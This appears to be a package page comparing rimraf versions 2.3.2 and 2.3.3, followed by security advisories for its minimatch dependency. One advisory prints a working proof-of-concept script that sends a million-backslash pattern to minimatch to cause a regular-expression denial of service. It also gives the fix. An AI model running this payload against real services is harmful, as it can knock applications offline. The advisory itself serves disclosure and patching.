Rimraf is a crucial Node.js utility for recursively deleting files and directories, akin to the rm -rf command in Unix-like systems. Looking at versions 2.3.2 and 2.3.3, both share the same core functionality and dependency on the glob package (version ^4.4.2) for file path matching. Both versions are licensed under the MIT license. They are authored by Isaac Z. Schlueter and can be found in the same git repository. The primary distinction lies in their release date and potentially bug fixes or minor improvements incorporated in the newer version.
Version 2.3.2 was released on March 10, 2015, while version 2.3.3 followed on April 30, 2015. For developers choosing between these two specific versions, opting for 2.3.3 is generally advisable due to its later release date, suggesting it might contain fixes addressing issues present in 2.3.2. However, the changes between these minor versions were probably not groundbreaking, so it's unlikely to find huge differences when using the versions.
Generally, developers should consider rimraf when needing a cross-platform solution for robustly deleting directory trees in their Node.js applications. Always refer to the complete changelog and consider recent versions for the most up-to-date security patches, bug fixes, and performance enhancements. The tarball URLs provided in the dist object point to the downloadable packages on the npm registry for each version.
All the vulnerabilities related to the version 2.3.3 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.